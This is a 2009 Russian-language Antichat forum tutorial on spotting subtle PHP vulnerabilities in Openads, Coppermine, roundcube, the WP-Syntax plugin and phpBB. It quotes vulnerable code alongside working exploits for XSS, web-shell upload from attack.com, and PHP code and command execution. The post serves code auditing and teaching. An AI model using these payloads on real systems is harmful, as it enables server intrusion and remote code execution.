ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Поиск уязвимостей в веб приложениях на реальных примерах.
  #1  
Старый 17.10.2009, 00:58
Аватар для (Dm)
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию Поиск уязвимостей в веб приложениях на реальных примерах.

В этой статье я собрал интересные на мой взгляд ошибки в php скриптах. Но для начала, дам описание некоторых параметров PHP-интерпретатора:

Цитата:
register_globals = ON - все переменные регистрируются как глобальные;
magic_quotes_gpc = ON - в массивах _POST, _GET, _COOKIE экранируются кавычки и опасные символы, делает невозможным использование null byte
display_error = ON - вывод ошибок php
allow_url_fopen = ON - разрешает использование потоков http:// или ftp:// для функций работы с файлами
allow_url_include = ON - разрешает использование потоков http:// или ftp:// для функций подключения файлов (include, require и т.д)
Привожу список интересных тем:
Sql инъекции, там где их на первый взгляд нет. - тут рассказано про фрагментированные sql инъекции, инъекции возможные из-за использования функций усечения строк, таких как (substr)
Загрузка произвольных файлов через архив. - рассказывается о возможности загрузки произвольных файлов через архив, если при распаковки архива отсутствует фильтрация ../

И так начнем:

[ + ] Ошибка заключается в том что переменные не были заранее определены в скрипте.

На примере Openads 2.0.11-pr1
Уязвимость: XSS
Условия: register_globals = ON

>> adcontent.php
PHP код:
~~~~~~~~~~~~~~~~~~~~
//*** Переменная $row не определена

if (isset($zoneid) && $zoneid 0) {
    ~~~~~~~~~~~~~~~~~~~~
    
$row['bannerid'] = (int)$bannerid;
    
$row['zoneid'] = $zoneid;
    
$row['prepend'] = $prepend;
    
$row['append'] = $append;
} else {
    
$row['bannerid'] = (int)$bannerid;
    
$row['zoneid'] = 0;
    
//*** Переменная $row['prepend'] и $row['append'] не установлена
}

/* 
   Функция делает запрос к базе(кэшу), возвращает массив 
   состоящий из информации о баннере, но среди полей нет 
   append и prepend
*/
$details phpAds_getBannerDetails($row['bannerid']); 

~~~~~~~~~~~~~~~~~~~~
//*** Тут происходит объединение 2х массивов
$row array_merge($row$details); 
//*** Передача данных функции для формирования html кода баннера
$output phpAds_prepareOutput($row'_blank'$sourcefalse); 
~~~~~~~~~~~~~~~~~~~~ 
>> includes/lib-view-main.inc.php
PHP код:
~~~~~~~~~~~~~~~~~~~~
function 
phpAds_prepareOutput($row$target$source$withtext){

    global 
$phpAds_config;
    
$outputbuffer '';

     
/* 
         Тут мы видим что в html код баннера добавляется 
         содержание переменной $row['prepend']; 
        */
    
if (isset($row['prepend']))
        
$outputbuffer .= $row['prepend'];
    
       ~~~~~~~~~~~~~~~~~~~~
       
       
/* 
         Тут мы видим что в html код баннера добавляется 
         содержание переменной $row['append'];
        */

    
if (isset($row['append']))
        
$outputbuffer .= $row['append'];
        
~~~~~~~~~~~~~~~~~~~~ 
Сплоит:
Цитата:
http://openads/adcontent.php?bannerid=id&row[prepend]=<script>alert(document.cookie)</script>
Описание:
В данном случае мы имеем xss, из-за того что массив row не был определен в начале скрипта. И мы можем спокойно передать в параметре row[prepend] любые данные.


[ + ] Обход удаления глобальных переменных
Во многих скриптах, чтобы не возникло ситуации как с Openads 2.0.11-pr1 (в случае register_globals = ON), просто удаляют переменные переданные скрипту через POST, GET и т.д. из массива GLOBALS, но не всегда делают это правильно )))
На примере Coppermine gallery 1.3.3
Уязвимость: Загрузка произвольных файлов
Условия:
register_globals = ON
allow_url_fopen = ON

>> include/init.inc.php
PHP код:
~~~~~~~~~~~~~~~~~~~~
//*** Удаление глобальных переменных переданных методом POST
    
if (is_array($HTTP_POST_VARS)) {
        foreach (
$HTTP_POST_VARS as $key => $value) {
            if (!
is_array($value))
                
$HTTP_POST_VARS[$key] = strtr($value$HTML_SUBST);
            if (isset($
$key)) unset($$key); //*** Удаляется глобальная переменная 
        
}
    }

//*** Аналогично только для GET
    
if (is_array($HTTP_GET_VARS)) {
        foreach (
$HTTP_GET_VARS as $key => $value) {
            
$HTTP_GET_VARS[$key] = strtr($value$HTML_SUBST);
            if (isset($
$key)) unset($$key);
        }
    }


    if (
is_array($HTTP_COOKIE_VARS)) {
        foreach (
$HTTP_COOKIE_VARS as $key => $value) {
            if (isset($
$key)) unset($$key);
        }
    }
~~~~~~~~~~~~~~~~~~~~ 
>> picEditor.php
PHP код:
require('include/init.inc.php');
~~~~~~~~~~~~~~~~~~~~
if (isset(
$HTTP_GET_VARS['id'])) {
        
$pid = (int)$HTTP_GET_VARS['id'];
} elseif (isset(
$HTTP_POST_VARS['id'])) {
        
$pid = (int)$HTTP_POST_VARS['id'];
} else {
        
$pid = -1;
}

//*** Если id не передавать, то $CURRENT_PIC - будет не определена
if ($pid 0){
        
$result db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} WHERE pid = '$pid'");
        
$CURRENT_PIC mysql_fetch_array($result);
        
mysql_free_result($result);
        
$pic_url get_pic_url($CURRENT_PIC,'fullsize');
}

~~~~~~~~~~~~~~~~~~~~

if (!
$img_dir$img_dir IMG_DIR;

if (
$_GET['id']){
     ~~~~~~~~~~~~~~~~~~~~
}else if(!isset(
$newimage)){
   
$newimage $_POST['newimage'];
}

~~~~~~~~~~~~~~~~~~~~

   if(isset(
$_POST["save"])) {
      ~~~~~~~~~~~~~~~~~~~~
          
//*** Копируем файл
         
copy($img_dir.$newimage,$CONFIG['fullpath'].$CURRENT_PIC['filepath'].$CURRENT_PIC['filename']); 
Сплоит:
Цитата:
<html>
<form action="http://cpg133/picEditor.php?img_dir=http://attack.com/&CURRENT_PIC[filename]=/shell.php"
method=post>
<input name="save" value="1">
<input name="newimage" value="shell.txt">
<input name="HTTP_GET_VARS" value="1">
<input type="submit">
</form>
</html>

http://attack.com/shell.txt - веб шелл, будет доступен по адресу http://cpg133/albums/shell.php
Нужны права администратора.
Описание:
В данном случае POST запросом передаем переменную HTTP_GET_VARS. В файле init.inc.php, при удалении глобальных переменных переданных методом POST будет удалена переменна HTTP_GET_VARS. В следствии чего переменные переданные методом GET остануться нетронутыми.
А так как переменные img_dir и CURRENT_PIC не были определены, мы можем пeредать им любые значения и загрузить файл на сервер через функцию copy().


[ + ] Небезопасное использование preg_replace с модификатором /e
На примере roundcube 0.2-3
Уязвимость: Выполнение произвольного php кода
http://www.milw0rm.com/exploits/7549

>> lib/html2text.php
PHP код:
~~~~~~~~~~~~~~~~~~~~
//*** Шаблоны с /e разрешают выполнение php кода
var search = array(
    
'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie'// <a href="">
    
'/<b[^>]*>(.+?)<\/b>/ie',                // <b>
    
'/<th[^>]*>(.+?)<\/th>/ie',              // <th> and </th>

~~~~~~~~~~~~~~~~~~~~
//*** Шаблоны для замены
var $replace = array(
    
'$this->_build_link_list("\\2", "\\3")'// <a href="">
    
'strtoupper("\\1")',                    //*** Обратим внимание что используются " (двойные кавычки)
    
"strtoupper(\"\t\t\\1\n\")",            // <th> and </th>

~~~~~~~~~~~~~~~~~~~~

$text preg_replace($this->search$this->replace$text); 
Дополнительная информация:
Цитата:
В php есть такая вещь как Complex (curly) syntax, пример:
<?
$great = 'fantastic';
echo "This is {$great}";
?>

Результат: This is fantastic

<?
$great = 'fantastic';
echo 'This is {$great}';
?>

Результат: This is {$great}

<?
$great = 'fantastic';
echo "This is {${phpinfo()}}";
?>

Результат: выполнится функция phpinfo();
Сплоит:
Цитата:
wget -q --header="Content-Type: ''" \
-O - --post-data='<b>{${phpinfo()}}</b>' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php
Описание: Думаю тут все понятно, передаем скрипту <b>{${phpinfo()}}</b>, и выполняется код strtoupper("{${phpinfo()}}");

[ + ] Небезопасное использование функций call_user_func_array(); call_user_func();
На примере Wordpress plugin WP-Syntax <= 0.9.1
Уязвимость: Выполнение произвольных команд
Условия:
register_globals = ON
http://www.milw0rm.com/exploits/9431

>> wp-content/plugins/wp-syntax/test/index.php
PHP код:
//*** переменная $test_filter не определена

function apply_filters($tag$string)
{
    global 
$test_filter;

    if (!isset(
$test_filter[$tag])) return $string;
    
uksort($test_filter[$tag], "strnatcasecmp");
    foreach (
$test_filter[$tag] as $priority => $functions)
    {
        if (
is_null($functions)) continue;
        foreach(
$functions as $function)
        {
           
//*** Вызов функции переданной в $test_filter
            
$string call_user_func_array($function, array($string)); 
        }
    }
    return 
$string;

Сплоит:
Цитата:
GET /wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close
Описание:
Сначала вызываем функцию session_start, чтобы инициализировать сессию, затем с помощью функции session_id получаем ссылку на id сессии, которая будет передана в функцию system. Теперь через PHPSESSID можно передавать нужные нам параметры для функции system


[ + ] Небезопасное использование функции urldecode
На примере phpBB 2.0.10
Уязвимость: Выполнение произвольного php кода

>> viewtopic.php
PHP код:
~~~~~~~~~~~~~~~~
$highlight_match $highlight '';
if (isset(
$HTTP_GET_VARS['highlight']))
{
    
/* 
       Если передать $HTTP_GET_VARS['highlight'] = %2527, 
           как видно никаких опасных символов нет, 
           addslashes ничего экранировать не будет.
       
           Но после urldecode($HTTP_GET_VARS['highlight']), %2527 
           превратится в %27, что эквивалентно '
    */    
    
$words explode(' 'trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));
    for(
$i 0$i sizeof($words); $i++)
    {
        if (
trim($words[$i]) != '')
        {
            
//*** Подготовка $highlight_match для поиска совпадений
            
$highlight_match .= (($highlight_match != '') ? '|' '') . str_replace('*''\w*'phpbb_preg_quote($words[$i], '#'));
        }
    }
    unset(
$words);

    
$highlight urlencode($HTTP_GET_VARS['highlight']);
}

~~~~~~~~~~~~~~~~
//
// Highlight active words (primarily for search)
//
if ($highlight_match)
{
    
//*** Используя ' в $highlight_match, можно внедрить php код 
    
$message str_replace('\"''"'substr(preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se'"preg_replace('#\b(" $highlight_match ")\b#i', '<span style=\"color:#" $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')"'>' $message '<'), 1, -1));

Сплоит:
Цитата:
http://phpbb/viewtopic.php?t=1&highlight=%2527.phpinfo().%2527
Описание:
Соответственно если urldecode будет находиться после блока который отвечает за фильтрацию переменных (например addslashes), то в полне вероятно что этот фильтр можно будет обойти.

Я хотел показать в этой статье что по мимо обычных ошибок в php скриптах, которые видно сразу, существуют ещё и ошибки менее заметные, но при этом не менее опасные и о них надо знать.

Последний раз редактировалось (Dm); 21.01.2010 в 18:07..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Веб 2.0 и Веб 3.0. Будущее Интернета. SK | Heaton Мировые новости 5 13.06.2007 02:07
Поиск PHP уязвимостей на примере phpBB _-[A.M.D]HiM@S-_ Статьи 1 29.10.2006 11:18
Плачу за поиск уязвимостей! (всё законно) ONK О Работе 58 22.10.2006 00:32



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ